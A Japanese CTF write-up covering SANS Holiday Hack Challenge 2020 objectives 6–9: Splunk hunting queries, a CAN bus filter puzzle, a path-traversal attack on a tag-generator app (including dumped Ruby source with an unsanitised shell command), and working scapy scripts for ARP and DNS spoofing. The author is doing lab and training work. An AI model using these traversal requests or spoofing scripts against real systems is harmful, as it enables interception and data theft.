2020 SANS Holiday Hack Challenge ~ KringleCon 3 ~ の Objective 6~11bのwriteupです。
イベントの紹介や他のchallengeのwriteupはこちらの記事へ。
6) Splunk Challenge
Difficulty: 🎄🎄
Access the Splunk terminal in the Great Room. What is the name of the adversary group that Santa feared would attack KringleCon?
サンタになって Splunk端末に触ると Santa's SOC Challenge にアクセスできます。
- Your goal is to answer the Challenge Question. You will include the answer to this question in your HHC write-up!
- Work your way through the training questions. Each one will help you get closer to the answering the Challenge Question.
- Characters in the KringleCon SOC Secure Chat are there to help you. If you see a blinking red dot next to a character, click on them and read the chat history to learn what they have to teach you! And don't forget to scroll up in the chat history!
- To search the SOC data, just click the Search link in the navigation bar in the upper left hand corner of the page.
- This challenge is best enjoyed on a laptop or desktop computer with screen width of 1600 pixels or more.
- WARNING This is a defensive challenge. Do not attack this system, Splunk, Splunk apps, or back-end APIs. Thank you!
ルールから推測するに、右上にあるChallenge Question
に回答するとObjectiveクリア。その前に、その下にあるトレーニングで使い方を学んだり情報を左にいるエルフたちから聞くっぽい。
Training 1
How many distinct MITRE ATT&CK techniques did Alice emulate?
とりあえずAliceの会話を見てみます。
Sure thing, Santa. Well I stored every simulation in its own index so you can just use a Splunk search like
```
| tstats count where index=* by index
```
for starters!
このクエリをSerchに投げてみたところ、26件結果が。txxx-main
とtxxx-win
のペアがいくつかあったので、このペアを一つとしてカウントすると11個。ペアになっていないwin
が3個。最初14で入れたら駄目だったので一つ減らして13にしたら通った。考え方はあっていたのだろうか🤔
ちなみにこのクエリが正解っぽい。
| tstats count where index=* by index | search index=T*-win OR T*-main | rex field=index "(?<technique>t\d+)[\.\-].0*" | stats dc(technique)
Training 2
What are the names of the two indexes that contain the results of emulating Enterprise ATT&CK technique 1059.003? (Put them in alphabetical order and separate them with a space)
さっきの検索結果ででてきたやつの、それっぽいindex名を解答。
t1059.003-main t1059.003-win
Training 3
One technique that Santa had us simulate deals with 'system information discovery'. What is the full name of the registry key that is queried to determine the MachineGuid?
Alliceからのヒント
I'm assuming they watched the Splunk KringleCon talk and picked up on how to search MITRE's site, and that they should check out the atomics for that technique in the Atomic Red Team github repo.
I want them to be comfortable searching in places like Atomic Red Team
で紹介されたgithub repositoryに行ってみると、いろんなAttackの情報が載っている。このRepository内検索でMachineGuid
を検索してみると、T1082.yamlにレジストリキーが載っていた。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
Training 4
According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)
index="attack" | search OSTAP
このクエリで4件レコードが出てきた!
これの最初のレコードの時間を入れるとOK。
2020-11-30T17:44:15Z
Training 5
One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?
この中ででてきたfrgnca
さんのGitHubを捜索。
frgnca / Repositories · GitHub
8つrepositoryがあるけど、ほかから使われていそうなものは少ない。この中のAudioDeviceCmdlets
でred teamのrepositoryを検索すると、T1123.ymlがヒットした。
attack_technique: T1123 display_name: Audio Capture atomic_tests: - name: using device audio capture commandlet auto_generated_guid: 9c3ad250-b185-4444-b5a9-d69218a10c95 description: | [AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet) supported_platforms: - windows executor: command: | powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet name: powershell
この中の検索に引っかけられそうなWindowsAudioDevice-Powershell-Cmdlet
とProcessID
を検索ワードに指定して検索し、timeでソートした一番最初にでてきたレコードからProcessIDを答えたら通った🙌
index="*-win" | search WindowsAudioDevice-Powershell-Cmdlet, ProcessID | sort _time
3648
Training 6
Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?
最新の一個を取ってくるクエリは
| sort 1 -_time
で良さそう。
red teamのgithub repository の atomic-red-team/atomics/Indexes/Indexes-CSV/windows-index.csv で検索したところ、Registry Run Key
に関わる攻撃はT1547-001
のようだ。
index="t1547.001-win" | search command | sort 1 -_time
とか
index="t1547.001-win" | search .bat | sort -_time
で検索をしてでてきたコマンドを打ち込んでみるけど、なかなかヒットしない。
わからないので、
T1547.001.yaml に出てくるバッチを順に試すことに。
PowerShell Registry RunOnce
に出てくる/ARTifacts/Misc/Discovery.bat
の最後の行、quser
を入れたら通った。なんで?🤔
Training 7
According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?
Aliceのヒント
I did not know if I should leave this one in here because it uses the old name for Zeek! In the meantime, I wanted them to look at something like
```
index=* sourcetype=bro*
```
and check out the SSL/TLS certs that are captured in the x509-related sourcetype.
とりあえずAliceが教えてくれた検索クエリをかけてみます。
更に、左のメニューにsourcetype
という項目があり、見てみると10項目。x509-relatedなのはbro:x509:json
が怪しいので、これで引っ掛けてみます。
index=* sourcetype=bro:x509:json
{ [-] certificate.exponent: 65537 certificate.issuer: CN=win-dc-748.attackrange.local certificate.key_alg: rsaEncryption certificate.key_length: 2048 certificate.key_type: rsa certificate.not_valid_after: 2021-05-29T01:08:57.000000Z certificate.not_valid_before: 2020-11-27T01:08:57.000000Z certificate.serial: 55FCEEBB21270D9249E86F4B9DC7AA60 certificate.sig_alg: sha256WithRSAEncryption certificate.subject: CN=win-dc-748.attackrange.local certificate.version: 3 id: Fen0DH2KtOxQwt4BFk ts: 2020-11-30T21:03:50.409634Z }
これのcertificate.serial
を答えればOK。
Challenge Question
What is the name of the adversary group that Santa feared would attack KringleCon?
Aliceからヒントがもらえます。
This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is:
```
7FXjP1lyfKbyDK/MChyf36h7
```
It's encrypted with an old algorithm that uses a key. We don't care about RFC 7465 up here! I leave it to the elves to determine which one!
Aliceが言及していた RFC 7465 は、RC4に関するRFCでした。ということはRC4が使われているに違いない。問題は、RC4はPassphrase(key)が必要なこと。ぜんぜんわからん。
と思っていたら、using your favorite phrase とAliceがヒントをくれていました。Santa
とかelf
とか試したけど駄目。そういえばエルフの一人が「サンタがやたらとこう言ってくるんだよね」って言ってた気がする…!と思って会話を読み返してみました。
幸い、サンタに化けてからも言ってくれているエルフが。Bubble Lightingtonさん。
Hey Santa… I’ve noticed that lately, you’ve been telling everyone to “Stay frosty.”
What’s that all about?
これこれ。ということでkeyはStay frosty
Cyberchefで Base64復号 -> RC4復号 で出てきました!
[f:id:kusuwada:20210110062829p:plain]
The Lollipop Guild
7) Solve the Sleigh's CAN-D-BUS Problem
Difficulty: 🎄🎄🎄
Jack Frost is somehow inserting malicious messages onto the sleigh's CAN-D bus. We need you to exclude the malicious messages and no others to fix the sleigh. Visit the NetWars room on the roof and talk to Wunorse Openslae for hints.
サンタの姿で屋上に行って、サンタカー(そり?)を点検します。サンタになる前は触れなかったのが触れるようになってる🎅🏻
[f:id:kusuwada:20210303070452p:plain]
ふぉぉぉ!
なんか右の緑のログがだーっと流れていく。これはCAN-Bus Investigation (terminal)の問題で出たフォーマットっぽいぞ。
このだーっと流れるログをフィルタする機能が真ん中の列。左の列はよくわからん。速度を上げたりlogを止めたり再開したり?
Hintが一つあったので確認。
Try filtering out one CAN-ID at a time and create a table of what each might pertain to. What's up with the brakes and doors?
ほうほう?もしかしてフィルタしたら何かが変わるのかな?
とりあえず流れないように多いlogをフィルタして、Start,Stop をやってみた。
Stop -> 02A#0000FF Start -> 02A#00FF00
うん。これっぽい。ブレーキとドアになにかあるようだ。
Lock -> 19B#000000000000 Unlock -> 19B#00000F000000
同じ19B
だと19B#0000000F2057
が出続けている。これをまずフィルタしてみる。
019B Equals 0000000F2057
更に、Brakeを上げると
080#000012 080#FFFFFD 080#FFFFF0
とか
080#FFFFF0 080#00002d 080#FFFFF8
がたくさん出てくる。これは一体何事? Brakeを8にすると
080#FFFFF8 080#000008 080#FFFFF0
を繰り返していたので、080#FFFFF8
と080#FFFFF0
が邪魔っぽい!他にも邪魔者パターンがいたので試行錯誤の結果
080 Less FFFFFFFFFFFF
これがブレーキのためのいい感じのフィルターっぽい👍 さっきのLockのとこのBrakeの2つのフィルタだけ残すと、Clear!
8) Broken Tag Generator
Difficulty: 🎄🎄🎄🎄
Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.
Holly Evergreen君の助言(Hint)
We might be able to find the problem if we can get source code!
Can you figure out the path to the script? It's probably on error pages!
Once you know the path to the file, we need a way to download it!
Is there an endpoint that will print arbitrary files?
If you're having trouble seeing the code, watch out for the Content-Type! Your browser might be trying to help (badly)!
I'm sure there's a vulnerability in the source somewhere... surely Jack wouldn't leave their mark?
If you find a way to execute code blindly, I bet you can redirect to a file then download that file!
Remember, the processing happens in the background so you might need to wait a bit after exploiting but before grabbing the output!
日本語訳すると
- ソースコードを入手できれば、問題を発見できるかもしれません
- スクリプトへのパスはわかりますか?エラーページにあるかもしれませんね!
- ファイルへのパスがわかったら、ダウンロードする方法を知る必要があります!
- 任意のファイルをprintするエンドポイントはありますか?
- コードを見るのに問題がある場合は、Content-Typeに注意してください! ブラウザは(ひどく)助けようとしているかもしれません!
- きっとソースのどこかに脆弱性があるんだろうな...きっとジャックは痕跡を残さないんだろうな?
- もしコードをblindlyに実行する方法を見つけたら、ファイルにリダイレクトして、そのファイルをダウンロードすることができるに違いない!
- 処理はバックグラウンドで行われるので、悪用してから出力を取得する前に少し待つ必要があるかもしれないことを覚えておいてください!
ヒントがすごすぎる。この順番にやっていけえば良さそう。
TagGeneratorはたしか1.5Fの奥にあったので向かってみる。
TagGenerator
問題文やエルフからのヒントより、環境変数 GREETZ
を発見するのがミッションっぽい。
まずはヒント1つめのソースコードを発見してみます。普通にサイトのソースを表示したら、下の方に
<script src="js/app.js"></script>
というのがあり、https://tag-generator.kringlecastle.com/js/app.js
を開くとソースが見れた。
更に、directory travarsalをやってみようと、urlに適当にhttps://tag-generator.kringlecastle.com/flag.txt
などと入れてみると、こんなエラーが。
Something went wrong!
Error in /app/lib/app.rb: Route not found
app.rb
は/app/lib/app.rb
にいるらしい。
このソースも読む必要はあるのかな?
次。何かエラーページにヒントがあるみたいなので、画像以外を上げてみる。
どこかのterminalで入手したapp.asar
を上げてみた。
Error in /app/lib/app.rb: Unsupported file type: /tmp/RackMultipart20201224-1-pljfzz.asar
おお、いい情報が。
他にもアップロードしてみます。
/tmp/RackMultipart20201224-1-pljfzz.asar /tmp/RackMultipart20201224-1-177veah.txt /tmp/RackMultipart20201224-1-ekf5ow.txt /tmp/RackMultipart20201224-1-1q49nx1.txt
拡張子はそのまま、ファイル名はRackMultipart{YYYYMMDD}-1-{random}
って感じかな?
RackMultipartってことは、マルチパート形式で送れば行けちゃう?
今度は、browserのコンソールやNetworkを見てみた。file uploadの時のURLと、ヒントにもでてきているContent-Typeは
POST https://tag-generator.kringlecastle.com/upload Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhQ5dOlbfteE395JT
マルチパートだ。
このAPI callのresponseは
Content-Type: application/json body: ["877e914a-b19d-4de5-b7bb-9c656fc8ff3c.jpg"]
でこのimageの取得は
https://tag-generator.kringlecastle.com/image?id=877e914a-b19d-4de5-b7bb-9c656fc8ff3c.jpg
path /image
, query id
でファイルの取得ができるみたい。
なるほど。では
$ curl https://tag-generator.kringlecastle.com/image?id=../../app/lib/app.rb --output app.rb % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 4886 100 4886 0 0 8586 0 --:--:-- --:--:-- --:--:-- 8571
お、ソースコード落とせた!
# encoding: ASCII-8BIT TMP_FOLDER = '/tmp' FINAL_FOLDER = '/tmp' # Don't put the uploads in the application folder Dir.chdir TMP_FOLDER require 'rubygems' require 'json' require 'sinatra' require 'sinatra/base' require 'singlogger' require 'securerandom' require 'zip' require 'sinatra/cookies' require 'cgi' require 'digest/sha1' LOGGER = ::SingLogger.instance() MAX_SIZE = 1024**2*5 # 5mb # Manually escaping is annoying, but Sinatra is lightweight and doesn't have # stuff like this built in :( def h(html) CGI.escapeHTML html end def handle_zip(filename) LOGGER.debug("Processing #{ filename } as a zip") out_files = [] Zip::File.open(filename) do |zip_file| # Handle entries one by one zip_file.each do |entry| LOGGER.debug("Extracting #{entry.name}") if entry.size > MAX_SIZE raise 'File too large when extracted' end if entry.name().end_with?('zip') raise 'Nested zip files are not supported!' end # I wonder what this will do? --Jack # if entry.name !~ /^[a-zA-Z0-9._-]+$/ # raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen' # end # We want to extract into TMP_FOLDER out_file = "#{ TMP_FOLDER }/#{ entry.name }" # Extract to file or directory based on name in the archive entry.extract(out_file) { # If the file exists, simply overwrite true } # Process it out_files << process_file(out_file) end end return out_files end def handle_image(filename) out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}" out_path = "#{ FINAL_FOLDER }/#{ out_filename }" # Resize and compress in the background Thread.new do if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'") LOGGER.error("Something went wrong with file conversion: #{ filename }") else LOGGER.debug("File successfully converted: #{ filename }") end end # Return just the filename - we can figure that out later return out_filename end def process_file(filename) out_files = [] if filename.downcase.end_with?('zip') # Append the list returned by handle_zip out_files += handle_zip(filename) elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png') # Append the name returned by handle_image out_files << handle_image(filename) else raise "Unsupported file type: #{ filename }" end return out_files end def process_files(files) return files.map { |f| process_file(f) }.flatten() end module TagGenerator class Server < Sinatra::Base helpers Sinatra::Cookies def initialize(*args) super(*args) end configure do if(defined?(PARAMS)) set :port, PARAMS[:port] set :bind, PARAMS[:host] end set :raise_errors, false set :show_exceptions, false end error do return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" }) end not_found do return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" }) end get '/' do erb(:index) end post '/upload' do images = [] images += process_files(params['my_file'].map { |p| p['tempfile'].path }) images.sort!() images.uniq!() content_type :json images.to_json end get '/clear' do cookies.delete(:images) redirect '/' end get '/image' do if !params['id'] raise 'ID is missing!' end # Validation is boring! --Jack # if params['id'] !~ /^[a-zA-Z0-9._-]+$/ # return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen' # end content_type 'image/jpeg' filename = "#{ FINAL_FOLDER }/#{ params['id'] }" if File.exists?(filename) return File.read(filename) else return 404, "Image not found!" end end get '/share' do if !params['id'] raise 'ID is missing!' end filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png" if File.exists?(filename) erb(:share, :locals => { id: params['id'] }) else return 404, "Image not found!" end end post '/save' do payload = params payload = JSON.parse(request.body.read) data_url = payload['dataURL'] png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1]) out_hash = Digest::SHA1.hexdigest png out_filename = "#{ out_hash }.png" out_path = "#{ FINAL_FOLDER }/#{ out_filename }" LOGGER.debug("output: #{out_path}") File.open(out_path, 'wb') { |f| f.write(png) } { id: out_hash }.to_json end end end
ふむふむ、zipも扱えるのか。
これで任意のpathのファイルが落とせるようになった。ヒントからは、更にfileをuploadしてコードを実行させた結果を書き出してDLする、みたいなのが想定解っぽいけど、ファイルでenvironmentをちょくで抜けると楽ちんそう、と思って調べてみる。
How to Set and List Environment Variables in Linux | Linuxize
に
etc/environmnet
とか/etc/profile
とかに書くと良いとあったので落としてみたけど、空っぽとかGREETZ
は入っていない。
他、/proc/$$/environ
が使えそうだなー。
$ curl https://tag-generator.kringlecastle.com/image?id=../../proc/$$/environ <h1>Something went wrong!</h1> <p>Error in /app/lib/app.rb: Route not found</p>
あら、駄目らしい。ではPID指定ではどうだろう?
$ curl https://tag-generator.kringlecastle.com/image?id=../../proc/1/environ --outpu pid1 % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 399 100 399 0 0 726 0 --:--:-- --:--:-- --:--:-- 725
お、なんか落とせたぞ!
$ strings pid1 PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin HOSTNAME=cbf2810b7573 RUBY_MAJOR=2.7 RUBY_VERSION=2.7.0 RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343 GEM_HOME=/usr/local/bundle BUNDLE_SILENCE_ROOT_WARNING=1 BUNDLE_APP_CONFIG=/usr/local/bundle APP_HOME=/app PORT=4141 HOST=0.0.0.0 GREETZ=JackFrostWasHere HOME=/home/app
あった!ちょっと想定解じゃなさそうだけど、0と1を試しただけで取れたから、ひとまずヨシ (๑•̀ㅂ•́)و✧
9) ARP Shenanigans
Difficulty: 🎄🎄🎄🎄
Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at
/NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
. Who recused herself from the vote described on the document?
屋上のARP Shenanigans
terminal が触れるようになっています。
3窓だ。
Jack Frost has hijacked the host at 10.6.6.35 with some custom malware.
Help the North Pole by getting command line access back to this host.
Read the HELP.md file for information to help you in this endeavor.
Note: The terminal lifetime expires after 30 or more minutes so be sure to copy off any essential work you have done as you go.
HELP.md
を読んだほうが良さそうなので読んでみる。
# How To Resize and Switch Terminal Panes: You can use the key combinations ( Ctrl+B ↑ or ↓ ) to resize the terminals. You can use the key combinations ( Ctrl+B o ) to switch terminal panes. See tmuxcheatsheet.com for more details # To Add An Additional Terminal Pane: `/usr/bin/tmux split-window -hb` # To exit a terminal pane simply type: `exit` # To Launch a webserver to serve-up files/folder in a local directory: ``` cd /my/directory/with/files python3 -m http.server 80 ``` # A Sample ARP pcap can be viewed at: https://www.cloudshark.org/captures/d97c5b81b057 # A Sample DNS pcap can be viewed at: https://www.cloudshark.org/captures/0320b9b57d35 # If Reading arp.pcap with tcpdump or tshark be sure to disable name # resolution or it will stall when reading: ``` tshark -nnr arp.pcap tcpdump -nnr arp.pcap ```
ふむふむ。どうやら窓をいっぱい使う必要があるchallengeのようだ。
何か怪しいpcapファイルがあるからこれを見てみると良さそう。
terminal内の構成情報を見てみる。
debs
フォルダには、
$ ls debs/ gedit-common_3.36.1-1_all.deb golang-github-huandu-xstrings-dev_1.2.1-1_all.deb nano_4.8-1ubuntu1_amd64.deb netcat-traditional_1.10-41.1ubuntu1_amd64.deb nmap_7.80+dfsg1-2build1_amd64.deb socat_1.7.3.3-2_amd64.deb unzip_6.0-25ubuntu1_amd64.deb
パッケージが入ってる。
pcap
ファイルには、arp.pcap
とdns.pcap
、script
にはarp_resp.py
とdns_resp.py
。pythonスクリプトはscapyでpacketを扱う際の例らしい。
pcap
にあるパケットを、言われた通りのコマンドで見てみる。
$ tshark -nnr arp.pcap 1 0.000000 cc:01:10:dc:00:00 → ff:ff:ff:ff:ff:ff ARP 60 Who has 10.10.10.1? Tell 10.10.10.2 2 0.031000 cc:00:10:dc:00:00 → cc:01:10:dc:00:00 ARP 60 10.10.10.1 is at cc:00:10:dc:00:00 $ tshark -nnr dns.pcap 1 0.000000 192.168.170.8 → 192.168.170.20 DNS 74 Standard query 0x75c0 A www.netbsd.org 2 0.048911 192.168.170.20 → 192.168.170.8 DNS 90 Standard query response 0x75c0 A www.netbsd.org A 204.152.190.12
どこにどんなリクエストを送って返ってきたかの概要がわかる。
$ tcpdump -nnr arp.pcap reading from file arp.pcap, link-type EN10MB (Ethernet) 17:16:02.806447 ARP, Request who-has 10.10.10.1 tell 10.10.10.2, length 46 17:16:02.837447 ARP, Reply 10.10.10.1 is-at cc:00:10:dc:00:00, length 46 $ tcpdump -nnr dns.pcap reading from file dns.pcap, link-type EN10MB (Ethernet) 08:49:18.685951 IP 192.168.170.8.32795 > 192.168.170.20.53: 30144+ A? www.netbsd.org. (32) 08:49:18.734862 IP 192.168.170.20.53 > 192.168.170.8.32795: 30144 1/0/0 A 204.152.190.12 (48)
なるほど?さっき(tshark
)と得られる情報はあまり変わらないように見える。どっちかでいいのかな?
そもそもこのパケットは何のパケットだろう?とりあえずただのサンプルということにしておく。
ヒントをたくさんもらっていたので、先に見ちゃう。
Jack Frost must have gotten malware on our host at 10.6.6.35 because we can no longer access it. Try sniffing the eth0 interface using
tcpdump -nni eth0
to see if you can view any traffic from that host.The host is performing an ARP request. Perhaps we could do a spoof to perform a machine-in-the-middle attack. I think we have some sample scapy traffic scripts that could help you in
/home/guest/scripts
.Hmmm, looks like the host does a DNS request after you successfully do an ARP spoof. Let's return a DNS response resolving the request to our IP.
The malware on the host does an HTTP request for a
.deb
package. Maybe we can get command line access by sending it a command in a customized .deb file
ヒントの手順にそって並び替えるとと多分こう。1つめのtcpdump
をやってみた。
$ tcpdump -nni eth0 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 22:41:36.666897 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 22:41:37.702943 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 ...
このARPリクエストが延々と続いている。10.6.6.53
にwho-has
リクエストを送っているみたい。
ヒントより、このリクエストに対して何か偽りの情報を返してあげるのがファーストステップっぽい。
サンプルスクリプトのscript/arp_resp.py
とサンプルのパケットを参考に、何か偽情報を返してあげてみる。
基本的に、自分のMACアドレスを送りつければ良さそう。
サンプルコードのarp_resp.py
を結構変更して、自分のMacアドレスを回答するようにしてみた。
#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 mac address macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) print('[Initial] our eth0 mac: ' + macaddr) def getmac(targetip): arppacket= Ether(zdst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip) targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc return targetmac def arp_resp(target_ip, target_mac, gateway_ip, gateway_mac): ether_resp = Ether(dst=target_mac, type=0x806, src=gateway_mac) arp_response = ARP(pdst=target_ip) arp_response.op = 2 arp_response.plen = 4 arp_response.hwlen = 6 arp_response.ptype = 2048 arp_response.hwtype = 1 arp_response.hwsrc = gateway_mac arp_response.psrc = gateway_ip arp_response.hwdst = target_mac arp_response.pdst = target_ip response = ether_resp/arp_response sendp(response, iface="eth0") def handle_arp_packets(packet): target_ip = packet.psrc target_mac = packet.src gateway_ip = packet.pdst #gateway_mac = getmac(packet.pdst) arp_resp(target_ip, target_mac, gateway_ip, macaddr) def main(): # We only want arp requests berkeley_packet_filter = "(arp[6:2] = 1)" # sniffing for one packet that will be sent to a function, while storing none print('start to return fake packets.') while True: sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1) if __name__ == "__main__": main()
これを1窓で走りっぱなしにさせておいて、他の窓でネットワークの様子を見てみる。
$ tcpdump -nni eth0 not arp tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 07:03:06.937760 IP 10.6.6.35.37439 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.009679 IP 10.6.6.35.59793 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.081679 IP 10.6.6.35.48730 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.149884 IP 10.6.6.35.5313 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.237706 IP 10.6.6.35.54615 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.302016 IP 10.6.6.35.34432 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.381684 IP 10.6.6.35.8560 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.449666 IP 10.6.6.35.21417 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.513557 IP 10.6.6.35.56686 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.577686 IP 10.6.6.35.1702 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.649689 IP 10.6.6.35.54596 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.721653 IP 10.6.6.35.38576 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.782043 IP 10.6.6.35.16880 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.857669 IP 10.6.6.35.37056 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:07.929726 IP 10.6.6.35.30663 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:08.001734 IP 10.6.6.35.9310 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:08.065744 IP 10.6.6.35.6107 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:08.141744 IP 10.6.6.35.58256 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:08.201633 IP 10.6.6.35.11426 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:08.273972 IP 10.6.6.35.42560 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:08.333620 IP 10.6.6.35.46880 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:08.401704 IP 10.6.6.35.39487 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:08.473706 IP 10.6.6.35.24748 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32) 07:03:08.549653 IP 10.6.6.35.41932 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
これでarp以外のリクエストも来るようになった!
※terminal終了するたびに自分のipアドレスやmacアドレスが微妙に変わるので、logに齟齬がでています。
今度は、サンプルのdns_resp.py
を書き換えて来ているpacketの情報を確認してみます。
#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 IP ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] # Our Mac Addr macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) # destination ip we arp spoofed ipaddr_we_arp_spoofed = "10.6.6.53" def handle_dns_request(packet): print('###### packet comes! ########') print(packet.summary()) def main(): berkeley_packet_filter = " and ".join( [ "udp dst port 53", # dns "udp[10] & 0x80 = 0", # dns request "dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip) "ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac ] ) # sniff the eth0 int without storing packets in memory and stopping after one dns request sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1) if __name__ == "__main__": main()
実行結果
###### packet comes! ######## Ether / IP / UDP / DNS Qry "b'ftp.osuosl.org.'"
DNS Queryのようだ👍
これに対して、自分のIPアドレスを応答してあげればよいのかな。
#!/usr/bin/python3 from scapy.all import * import netifaces as ni import uuid # Our eth0 IP ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr'] # Our Mac Addr macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1]) # destination ip we arp spoofed ipaddr_we_arp_spoofed = "10.6.6.53" def handle_dns_request(packet): eth = Ether(src=macaddr, dst=packet.src) ip = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed) udp = UDP(dport=packet.sport, sport=packet.dport) redirect_to = ipaddr dns = DNS( id=packet[DNS].id, qd=packet[DNS].qd, aa = 1, qr=1, \ an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=redirect_to) ) dns_response = eth / ip / udp / dns sendp(dns_response, iface="eth0") return def main(): while 1: berkeley_packet_filter = " and ".join( [ "udp dst port 53", # dns "udp[10] & 0x80 = 0", # dns request "dst host {}".format(ipaddr_we_arp_spoofed), # destination ip we had spoofed (not our real ip) "ether dst host {}".format(macaddr) # our macaddress since we spoofed the ip to our mac ] ) # sniff the eth0 int without storing packets in memory and stopping after one dns request sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1) if __name__ == "__main__": main()
ひとまずこんな感じにして実行、arp同様に裏で走らせておいて、他の窓で80 portを監視してみる。
$ tcpdump -nni eth0 port 80 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 07:44:28.199945 IP 10.6.6.35.40942 > 10.6.0.4.80: Flags [S], seq 3658739984, win 64240, options [mss 1460,sackOK,TS val 1514430279 ecr 0,nop,wscale 7], length 0 07:44:28.199991 IP 10.6.0.4.80 > 10.6.6.35.40942: Flags [R.], seq 0, ack 3658739985, win 0, length 0 07:44:29.287845 IP 10.6.6.35.40946 > 10.6.0.4.80: Flags [S], seq 269305815, win 64240, options [mss 1460,sackOK,TS val 1514431367 ecr 0,nop,wscale 7], length 0 07:44:29.287880 IP 10.6.0.4.80 > 10.6.6.35.40946: Flags [R.], seq 0, ack 269305816, win 0, length 0 07:44:32.423719 IP 10.6.6.35.40950 > 10.6.0.4.80: Flags [S], seq 1591512794, win 64240, options [mss 1460,sackOK,TS val 1514434502 ecr 0,nop,wscale 7], length 0 07:44:32.423756 IP 10.6.0.4.80 > 10.6.6.35.40950: Flags [R.], seq 0, ack 1591512795, win 0, length 0
何か来ている気がする!
ここで、自分の80番ポートの状況を調べるとつながらない。
$ nc 10.6.0.4 80 (UNKNOWN) [10.6.0.4] 80 (http) : Connection refused
そりゃそうだ。何も立ち上げてないもん。ということは、サーバーを立ち上げないといかんのか?
HELP.md
にpython3 -m http.server 80
